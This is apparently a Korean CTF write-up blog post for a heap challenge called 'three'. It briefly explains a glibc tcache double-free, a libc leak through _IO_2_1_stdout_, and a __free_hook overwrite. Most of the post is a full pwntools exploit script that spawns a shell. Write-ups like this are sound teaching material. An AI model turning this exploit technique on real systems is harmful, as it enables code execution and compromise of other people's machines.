github twitter facebook email
Three
Jan 23, 2019
2 minutes read

basic 한 tcache 문제다.

바이너리를 까보면 dfb랑 free된 chunk write가 가능함으로 tcache dup이 가능하다.

input받는 함수를 read를 사용함으로 heap arbitrary write가 가능하다. 이걸로 청크 하나를 size를 바꿔가며 계속 free 시킬 수 있다.

이를 통해 tcache bin을 채워넣으면, chunk가 unsorted bin에 들어가게끔 할 수 있다.

이를 통해 libc주소를 heap내에 넣을 수 있고. leak함수가 없으므로

이를 2byte ~ 3byte정도 brute forcing해서 _IO_2_1_stdout_를 가르키게끔해서

여기를 할당받고 _IO_write_base를 overwrite하여 leak 할수 있다.

그 후에는 그냥 __free_hook을 덮어서 쉘따면 된다.

from pwn import *

def alloc(data):
    p.sendafter(':', '1')
    p.sendafter(':', data)

def edit(idx, data):
    p.sendafter(':', '2')
    p.sendafter(':', str(idx))
    p.sendafter(':', data)

def free(idx, flag):
    p.sendafter(':', '3')
    p.sendafter(':', str(idx))
    p.sendafter(':', flag)

if __name__ == '__main__':
    p = process('./three')
    elf = ELF('./three')
    libc = elf.libc
    alloc('a') # 0
    alloc(p64(0x11)*8)  #  double free or corruption (!prev)
    
    free(1, 'y')
    free(0, 'n')
    
    edit(0, '\x50')  # Overlap chunk
    alloc('a')   
    alloc('A') 
    
    free(0, 'y')
    free(1, 'y')
    
    alloc("A")
    for i in range(0,7):
        edit(2, p64(0) + p64(0x91) + p64(0))  # fill tcache
        free(0,'n')

    edit(2, p64(0) + p64(0x51) + p64(0))  # push same chunk in tcache
    free(0, 'n')
    edit(2, p64(0) + p64(0x91) + p64(0))  # push chunk in unsorted bin 
    free(0, 'y')

    edit(2, p64(0) + p64(0x91) + '\x60\x07\xdd') # Try brute force _IO_2_1_stdout_
    alloc("A") # 0
    alloc(p64(0xfbad1800) + p64(0)*3 + '\x00') # 1 => _IO_write_base overwrite 

    p.recv(8)
    libcbase = u64(p.recv(8)) - 0x3ed8b0
    log.info("[LIBC] : 0x%x" % libcbase)
    
    edit(2, p64(0) + p64(0x51)) 
    free(0, 'y')
    edit(2, p64(0) + p64(0x51) + p64(libcbase + libc.symbols['__free_hook'])) # &__free_hook in tcache
    alloc('a')

    edit(2, p64(0) + p64(0x41))
    free(0, 'y') #  clean idx 0
 
    alloc(p64(libcbase +  0x4f322))  
    
    p.sendline('3')
    p.sendline('1')
    p.interactive() 


Back to posts


comments powered by Disqus